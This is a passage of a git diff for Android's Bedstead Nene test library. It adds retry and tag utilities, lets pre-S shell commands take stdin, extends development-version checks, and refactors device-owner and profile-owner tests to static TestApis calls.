+     * <p>This method will only be called after the value check fails with an exception. It will be
+     * passed the exception return true if this exception is terminal.
+     *
+     * <p>If true is returned, then no more retries will be attempted, otherwise retries will
+     * continue until timeout.
+     */
+    public Poll<E> terminalException(Function<Throwable, Boolean> terminalChecker) {
+        mTerminalExceptionChecker = terminalChecker;
+        return this;
+    }
+
+    /**
+     * Set a method which, after a value fails the check, can tell if the failure is terminal.
+     *
+     * <p>This method will only be called after the value check fails. It should return true if this
+     * state is terminal.
+     *
+     * <p>If true is returned, then no more retries will be attempted, otherwise retries will
+     * continue until timeout.
+     */
+    public Poll<E> terminal(Supplier<Boolean> terminalChecker) {
+        terminalValue((e) -> terminalChecker.get());
+        terminalException((e) -> terminalChecker.get());
+        return this;
+    }
+
+    /** Interface for supplying values to {@link Poll}. */
+    public interface ValueSupplier<E> {
+        E get() throws Throwable;
+    }
+
+    /** Interface for checking values for {@link Poll}. */
+    public interface ValueChecker<E> {
+        boolean apply(E e) throws Throwable;
+    }
+
+    /** Interface for supplying errors for {@link Poll}. */
+    public interface Function2<E, F, G> {
+        G apply(E e, F f);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Retry.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Retry.java
new file mode 100644
index 0000000..cb44d26
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Retry.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.exceptions.PollValueFailedException;
+
+import java.time.Duration;
+import java.util.function.Function;
+
+/**
+ * Retry some logic.
+ *
+ * <p>Use by calling {@link Retry#logic} with a lambda representing the logic to be retried.
+ *
+ * <p>If any exception is thrown by the logic, then it will be logged and re-attempted. By default,
+ * this will try up to {@link #timeout(Duration)} (defaulting to 30 seconds), and if the final
+ * attempt still throws an exception that exception will be thrown.
+ *
+ * @param <E> return type of logic
+ */
+public final class Retry<E> {
+
+    private final Poll<E> mPoll;
+
+    /**
+     * Begin retrying the given logic.
+     */
+    public static <E> Retry<E> logic(Poll.ValueSupplier<E> supplier) {
+        return new Retry<>(supplier);
+    }
+
+    /**
+     * Begin retrying the given logic.
+     */
+    public static VoidRetry logic(VoidRetry.VoidRunnable runnable) {
+        return new VoidRetry(runnable);
+    }
+
+    private Retry(Poll.ValueSupplier<E> supplier) {
+        mPoll = Poll.forValue(supplier)
+                .errorOnFail();
+    }
+
+    /** Change the default timeout before the check is considered failed (default 30 seconds). */
+    public Retry<E> timeout(Duration timeout) {
+        mPoll.timeout(timeout);
+        return this;
+    }
+
+    /**
+     * Set a method which, after an exception is thrown, can tell if the failure is terminal.
+     *
+     * <p>This method will be passed the exception return true if this exception is terminal.
+     *
+     * <p>If true is returned, then no more retries will be attempted, otherwise retries will
+     * continue until timeout.
+     */
+    public Retry<E> terminalException(Function<Throwable, Boolean> terminalChecker) {
+        mPoll.terminalException(terminalChecker);
+        return this;
+    }
+
+    /**
+     * Run the logic, retrying on exception.
+     *
+     * <p>This will retry fetching until it succeeds without an exception or the
+     * timeout expires.
+     */
+    public E run() throws Throwable {
+        try {
+            return mPoll.await();
+        } catch (PollValueFailedException e) {
+            // We know there will be an exception cause because we aren't validating the value
+            throw e.getCause();
+        }
+    }
+
+    /**
+     * {@link #run()} but all exceptions are wrapped in a {@link NeneException} so they don't need
+     * to be caught.
+     */
+    public E runAndWrapException() throws NeneException {
+        try {
+            return run();
+        } catch (Throwable t) {
+            throw new NeneException(t);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
index 2f73f5c..7818bcc 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
@@ -126,23 +126,6 @@
         }
 
         /**
-         * Run the command as a given linux user.
-         */
-        @CheckResult
-        public Builder asLinuxUser(String user) {
-            mLinuxUser = user;
-            return this;
-        }
-
-        /**
-         * Run the command as the root linux user.
-         */
-        @CheckResult
-        public Builder asRoot() {
-            return asLinuxUser("root");
-        }
-
-        /**
          * Build the full command including all options and operands.
          */
         public String build() {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
index e61fed0..3a624f3 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
@@ -83,10 +83,7 @@
         logCommand(command, allowEmptyOutput, stdInBytes);
 
         if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
-            if (stdInBytes != null && stdInBytes.length > 0) {
-                throw new IllegalStateException("Cannot write to stdIn prior to S");
-            }
-            return executeCommandPreS(command, allowEmptyOutput);
+            return executeCommandPreS(command, allowEmptyOutput, stdInBytes);
         }
 
         // TODO(scottjonathan): Add argument to force errors to stderr
@@ -124,11 +121,7 @@
         logCommand(command, /* allowEmptyOutput= */ false, stdInBytes);
 
         if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
-            if (stdInBytes != null && stdInBytes.length > 0) {
-                throw new IllegalStateException("Cannot write to stdIn prior to S");
-            }
-
-            return executeCommandForBytesPreS(command);
+            return executeCommandForBytesPreS(command, stdInBytes);
         }
 
         // TODO(scottjonathan): Add argument to force errors to stderr
@@ -217,10 +210,14 @@
     }
 
     private static String executeCommandPreS(
-            String command, boolean allowEmptyOutput) throws AdbException {
-        ParcelFileDescriptor fdOut = uiAutomation().executeShellCommand(command);
+            String command, boolean allowEmptyOutput, byte[] stdIn) throws AdbException {
+        ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command);
+        ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+        ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
 
         try {
+            writeStdInAndClose(fdIn, stdIn);
+
             try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
                 String out = new String(FileUtils.readInputStreamFully(fis));
 
@@ -242,10 +239,17 @@
         }
     }
 
-    private static byte[] executeCommandForBytesPreS(String command) throws AdbException {
-        ParcelFileDescriptor fdOut = uiAutomation().executeShellCommand(command);
+    // This is warned for executeShellCommandRw which did exist as TestApi
+    @SuppressWarnings("NewApi")
+    private static byte[] executeCommandForBytesPreS(
+            String command, byte[] stdInBytes) throws AdbException {
+        ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command);
+        ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+        ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
 
         try {
+            writeStdInAndClose(fdIn, stdInBytes);
+
             try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
                 return FileUtils.readInputStreamFully(fis);
             }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java
new file mode 100644
index 0000000..5d80cec
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * Collection of {@link String} values which can change behaviour of APIs.
+ */
+public final class Tags {
+
+    public static final String USES_DEVICESTATE = "uses_devicestate";
+    public static final String USES_NOTIFICATIONS = "uses_notifications";
+    public static final String INSTANT_APP = "instant_app";
+
+    private Tags() {
+
+    }
+
+    private static final Set<String> sTags = Collections.newSetFromMap(new ConcurrentHashMap<>());
+
+    /**
+     * {@code true} if the tag has been added.
+     */
+    public static boolean hasTag(String tag) {
+        return sTags.contains(tag);
+    }
+
+    /**
+     * Clear all added tags.
+     */
+    public static void clearTags() {
+        sTags.clear();
+    }
+
+    /**
+     * Add a tag.
+     */
+    public static void addTag(String tag) {
+        sTags.add(tag);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
index e9b7922..4feb6b6 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
@@ -16,17 +16,24 @@
 
 package com.android.bedstead.nene.utils;
 
+import static com.android.compatibility.common.util.VersionCodes.CUR_DEVELOPMENT;
+import static com.android.compatibility.common.util.VersionCodes.R;
+
 import android.os.Build;
 
+import com.google.common.collect.ImmutableSet;
+
 import java.lang.reflect.Field;
 
 /** SDK Version checks. */
 public final class Versions {
 
+    public static final int T = CUR_DEVELOPMENT;
+
     /** Any version. */
     public static final int ANY = -1;
 
-    private static final String DEVELOPMENT_CODENAME = "S";
+    private static final ImmutableSet<String> DEVELOPMENT_CODENAMES = ImmutableSet.of("Sv2", "T");
 
     private Versions() {
 
@@ -37,10 +44,12 @@
      */
     public static void requireMinimumVersion(int min) {
         if (!meetsSdkVersionRequirements(min, ANY)) {
+            String currentVersion = meetsMinimumSdkVersionRequirement(R)
+                    ? Build.VERSION.RELEASE_OR_CODENAME : Integer.toString(Build.VERSION.SDK_INT);
             throw new UnsupportedOperationException(
-                    "Thie feature is only available on "
+                    "This feature is only available on "
                             + versionToLetter(min)
-                            + "+ (currently " + Build.VERSION.CODENAME + ")");
+                            + "+ (currently " + currentVersion + ")");
         }
     }
 
@@ -63,7 +72,7 @@
             }
         }
 
-        throw new IllegalStateException("Could not find version with code " + version);
+        return Integer.toString(version);
     }
 
     /**
@@ -81,7 +90,7 @@
     public static boolean meetsSdkVersionRequirements(int min, int max) {
         if (min != ANY) {
             if (min == Build.VERSION_CODES.CUR_DEVELOPMENT) {
-                if (!Build.VERSION.CODENAME.equals(DEVELOPMENT_CODENAME)) {
+                if (!DEVELOPMENT_CODENAMES.contains(Build.VERSION.CODENAME)) {
                     return false;
                 }
             } else if (min > Build.VERSION.SDK_INT) {
@@ -97,4 +106,12 @@
 
         return true;
     }
+
+    /**
+     * {@code true} if the current running version is the latest in-development version.
+     */
+    public static boolean isDevelopmentVersion() {
+        return Build.VERSION.SDK_INT == Build.VERSION_CODES.CUR_DEVELOPMENT
+                && DEVELOPMENT_CODENAMES.contains(Build.VERSION.CODENAME);
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/VoidRetry.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/VoidRetry.java
new file mode 100644
index 0000000..3f529a1
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/VoidRetry.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import com.android.bedstead.nene.exceptions.NeneException;
+
+import java.time.Duration;
+import java.util.function.Function;
+
+/**
+ * Version of {@link Retry} when we don't care about a return value.
+ */
+public final class VoidRetry {
+
+    private final Retry<Void> mRetry;
+
+    VoidRetry(VoidRunnable runnable) {
+        mRetry = Retry.logic(() -> {
+            runnable.run();
+            return null;
+        });
+    }
+
+    /** Change the default timeout before the check is considered failed (default 30 seconds). */
+    public VoidRetry timeout(Duration timeout) {
+        mRetry.timeout(timeout);
+        return this;
+    }
+
+    /**
+     * Set a method which, after an exception is thrown, can tell if the failure is terminal.
+     *
+     * <p>This method will be passed the exception return true if this exception is terminal.
+     *
+     * <p>If true is returned, then no more retries will be attempted, otherwise retries will
+     * continue until timeout.
+     */
+    public VoidRetry terminalException(Function<Throwable, Boolean> terminalChecker) {
+        mRetry.terminalException(terminalChecker);
+        return this;
+    }
+
+    /**
+     * Run the logic, retrying on exception.
+     *
+     * <p>This will retry fetching until it succeeds without an exception or the
+     * timeout expires.
+     */
+    public void run() throws Throwable {
+        mRetry.run();
+    }
+
+    /** Interface for supplying logic to {@link VoidRetry}. */
+    public interface VoidRunnable {
+        /** Run the method and optionally throw exceptions. */
+        void run() throws Throwable;
+    }
+
+    /**
+     * {@link #run()} but all exceptions are wrapped in a {@link NeneException} so they don't need
+     * to be caught.
+     */
+    public void runAndWrapException() throws NeneException {
+        try {
+            run();
+        } catch (Throwable t) {
+            throw new NeneException(t);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/AndroidManifest.xml b/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
index a78ccbf..d117316 100644
--- a/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
+++ b/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
@@ -17,13 +17,16 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.bedstead.nene.test">
+          package="com.android.bedstead.nene.test"
+          xmlns:tools="http://schemas.android.com/tools">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <!-- TODO(b/194671091): Remove once our minimum supported version is R+ -->
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
     <application
         android:label="Nene Tests"
@@ -34,7 +37,8 @@
         <activity android:name="com.android.bedstead.nene.test.Activity" android:exported="false"/>
 
     </application>
-    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+    <!-- TODO(b/194670711): Drop overrideLibrary when we bump version to 28 -->
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" tools:overrideLibrary="com.android.bedstead.testapp.library, com.android.bedstead.testapp.testapps"/>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.bedstead.nene.test"
                      android:label="Nene Tests" />
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java
index db10699..7779c0a 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/TestApisTest.java
@@ -16,8 +16,6 @@
 
 package com.android.bedstead.nene;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import com.google.common.truth.Truth;
 
 import org.junit.Test;
@@ -27,15 +25,13 @@
 @RunWith(JUnit4.class)
 public class TestApisTest {
 
-    private final TestApis mTestApis = new TestApis();
-
     @Test
     public void users_returnsInstance() {
-        Truth.assertThat(mTestApis.users()).isNotNull();
+        Truth.assertThat(TestApis.users()).isNotNull();
     }
 
     @Test
     public void users_multipleCalls_returnsSameInstance() {
-        Truth.assertThat(mTestApis.users()).isEqualTo(mTestApis.users());
+        Truth.assertThat(TestApis.users()).isEqualTo(TestApis.users());
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
index da5c693..91932c1 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
@@ -20,72 +20,53 @@
 
 import android.content.ComponentName;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppProvider;
-import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
+import com.android.bedstead.remotedpc.RemoteDpc;
 
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
-@RunWith(JUnit4.class)
+@RunWith(BedsteadJUnit4.class)
+@EnsureHasDeviceOwner
 public class DeviceOwnerTest {
 
-    //  TODO(180478924): We shouldn't need to hardcode this
-    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME = "android.DeviceAdminTestApp";
-    private static final ComponentName DPC_COMPONENT_NAME =
-            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
-                    EventLibDeviceAdminReceiver.class.getName());
+    @ClassRule @Rule
+    public static DeviceState sDeviceState = new DeviceState();
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final ComponentName DPC_COMPONENT_NAME = RemoteDpc.DPC_COMPONENT_NAME;
 
-    private static TestApp sTestApp;
-    private static DeviceOwner sDeviceOwner;
+    private DeviceOwner mDeviceOwner;
 
-    @BeforeClass
-    public static void setupClass() {
-        sTestApp = new TestAppProvider().query()
-                .wherePackageName().isEqualTo(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
-                .get();
-
-        sTestApp.install(sUser);
-
-        sDeviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
-    }
-
-    @AfterClass
-    public static void teardownClass() {
-        sDeviceOwner.remove();
-        sTestApp.uninstall(sUser);
+    @Before
+    public void setup() {
+        mDeviceOwner = TestApis.devicePolicy().getDeviceOwner();
     }
 
     @Test
     public void user_returnsUser() {
-        assertThat(sDeviceOwner.user()).isEqualTo(sUser);
+        assertThat(mDeviceOwner.user()).isEqualTo(TestApis.users().system());
     }
 
     @Test
     public void pkg_returnsPackage() {
-        assertThat(sDeviceOwner.pkg()).isEqualTo(sTestApp.reference());
+        assertThat(mDeviceOwner.pkg().packageName()).isEqualTo(DPC_COMPONENT_NAME.getPackageName());
     }
 
     @Test
     public void componentName_returnsComponentName() {
-        assertThat(sDeviceOwner.componentName()).isEqualTo(DPC_COMPONENT_NAME);
+        assertThat(mDeviceOwner.componentName()).isEqualTo(DPC_COMPONENT_NAME);
     }
 
     @Test
     public void remove_removesDeviceOwner() {
-        sDeviceOwner.remove();
-        try {
-            assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
-        } finally {
-            sDeviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
-        }
+        mDeviceOwner.remove();
+
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java
index 5634ea5..ad1c096 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java
@@ -29,7 +29,6 @@
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.AfterClass;
 import com.android.bedstead.harrier.annotations.BeforeClass;
-import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
@@ -57,7 +56,10 @@
     public static final DeviceState sDeviceState = new DeviceState();
 
     //  TODO(180478924): We shouldn't need to hardcode this
-    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME = "android.DeviceAdminTestApp";
+    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME =
+            "com.android.bedstead.testapp.DeviceAdminTestApp";
+    private static final ComponentName NON_EXISTING_DPC_COMPONENT_NAME =
+            new ComponentName("com.a.package", "com.a.package.Receiver");
     private static final ComponentName DPC_COMPONENT_NAME =
             new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
                     EventLibDeviceAdminReceiver.class.getName());
@@ -65,9 +67,8 @@
             new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
                     "incorrect.class.name");
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final UserReference sUser = sTestApis.users().instrumented();
-    private static final UserReference NON_EXISTENT_USER = sTestApis.users().find(99999);
+    private static final UserReference sUser = TestApis.users().instrumented();
+    private static final UserReference NON_EXISTENT_USER = TestApis.users().find(99999);
 
     private static TestApp sTestApp;
 
@@ -77,29 +78,33 @@
                 .wherePackageName().isEqualTo(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
                 .get();
 
-        sTestApp.install(sUser);
+        sTestApp.install();
+        if (!sUser.equals(TestApis.users().system())) {
+            // We're going to set the device owner on the system user
+            sTestApp.install(TestApis.users().system());
+        }
     }
 
     @AfterClass
     public static void teardownClass() {
-        sTestApp.uninstall(sUser);
+        sTestApp.uninstallFromAllUsers();
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     @EnsureHasNoWorkProfile
     public void setProfileOwner_profileOwnerIsSet() {
-        UserReference profile = sTestApis.users().createUser()
+        UserReference profile = TestApis.users().createUser()
                 .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
                 .createAndStart();
         sTestApp.install(profile);
 
         ProfileOwner profileOwner =
-                sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
+                TestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
 
         try {
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isEqualTo(profileOwner);
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile)).isEqualTo(profileOwner);
         } finally {
             profile.remove();
         }
@@ -109,17 +114,17 @@
     @EnsureHasNoDeviceOwner
     @EnsureHasNoWorkProfile
     public void setProfileOwner_profileOwnerIsAlreadySet_throwsException() {
-        UserReference profile = sTestApis.users().createUser()
+        UserReference profile = TestApis.users().createUser()
                 .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
                 .createAndStart();
         try {
             sTestApp.install(profile);
 
-            sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
+            TestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
 
             assertThrows(NeneException.class,
-                    () -> sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME));
+                    () -> TestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME));
         } finally {
             profile.remove();
         }
@@ -129,13 +134,14 @@
     @EnsureHasNoDeviceOwner
     @EnsureHasNoWorkProfile
     public void setProfileOwner_componentNameNotInstalled_throwsException() {
-        UserReference profile = sTestApis.users().createUser()
+        UserReference profile = TestApis.users().createUser()
                 .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
                 .createAndStart();
         try {
             assertThrows(NeneException.class,
-                    () -> sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME));
+                    () -> TestApis.devicePolicy().setProfileOwner(
+                            profile, NON_EXISTING_DPC_COMPONENT_NAME));
         } finally {
             profile.remove();
         }
@@ -146,7 +152,7 @@
     @EnsureHasNoProfileOwner
     public void setProfileOwner_componentNameIsNotDPC_throwsException() {
         assertThrows(NeneException.class,
-                () -> sTestApis.devicePolicy().setProfileOwner(sUser, NOT_DPC_COMPONENT_NAME));
+                () -> TestApis.devicePolicy().setProfileOwner(sUser, NOT_DPC_COMPONENT_NAME));
     }
 
     @Test
@@ -154,7 +160,7 @@
     @EnsureHasNoProfileOwner
     public void setProfileOwner_nullUser_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> sTestApis.devicePolicy().setProfileOwner(
+                () -> TestApis.devicePolicy().setProfileOwner(
                         /* user= */ null, DPC_COMPONENT_NAME));
     }
 
@@ -163,7 +169,7 @@
     @EnsureHasNoProfileOwner
     public void setProfileOwner_nullComponentName_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> sTestApis.devicePolicy().setProfileOwner(
+                () -> TestApis.devicePolicy().setProfileOwner(
                         sUser, /* profileOwnerComponent= */ null));
     }
 
@@ -172,7 +178,7 @@
     @EnsureHasNoProfileOwner
     public void setProfileOwner_userDoesNotExist_throwsException() {
         assertThrows(NeneException.class,
-                () -> sTestApis.devicePolicy().setProfileOwner(
+                () -> TestApis.devicePolicy().setProfileOwner(
                         NON_EXISTENT_USER, DPC_COMPONENT_NAME));
     }
 
@@ -180,17 +186,17 @@
     @EnsureHasNoDeviceOwner
     @EnsureHasNoWorkProfile
     public void getProfileOwner_returnsProfileOwner() {
-        UserReference profile = sTestApis.users().createUser()
+        UserReference profile = TestApis.users().createUser()
                 .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
                 .createAndStart();
         try {
             sTestApp.install(profile);
 
             ProfileOwner profileOwner =
-                    sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
+                    TestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
 
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isEqualTo(profileOwner);
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile)).isEqualTo(profileOwner);
         } finally {
             profile.remove();
         }
@@ -200,13 +206,13 @@
     @EnsureHasNoDeviceOwner
     @EnsureHasNoWorkProfile
     public void getProfileOwner_noProfileOwner_returnsNull() {
-        UserReference profile = sTestApis.users().createUser()
+        UserReference profile = TestApis.users().createUser()
                 .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
                 .createAndStart();
 
         try {
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNull();
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile)).isNull();
         } finally {
             profile.remove();
         }
@@ -216,18 +222,17 @@
     @Test
     public void getProfileOwner_nullUser_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> sTestApis.devicePolicy().getProfileOwner(null));
+                () -> TestApis.devicePolicy().getProfileOwner(null));
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     @EnsureHasNoProfileOwner
     public void setDeviceOwner_deviceOwnerIsSet() {
-        DeviceOwner deviceOwner =
-                sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+        DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(DPC_COMPONENT_NAME);
 
         try {
-            assertThat(sTestApis.devicePolicy().getDeviceOwner()).isEqualTo(deviceOwner);
+            assertThat(TestApis.devicePolicy().getDeviceOwner()).isEqualTo(deviceOwner);
         } finally {
             deviceOwner.remove();
         }
@@ -237,17 +242,18 @@
     @EnsureHasDeviceOwner
     public void setDeviceOwner_deviceOwnerIsAlreadySet_throwsException() {
         assertThrows(NeneException.class,
-                () -> sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME));
+                () -> TestApis.devicePolicy()
+                        .setDeviceOwner(DPC_COMPONENT_NAME));
     }
 
     @Test
     @EnsureHasNoDeviceOwner
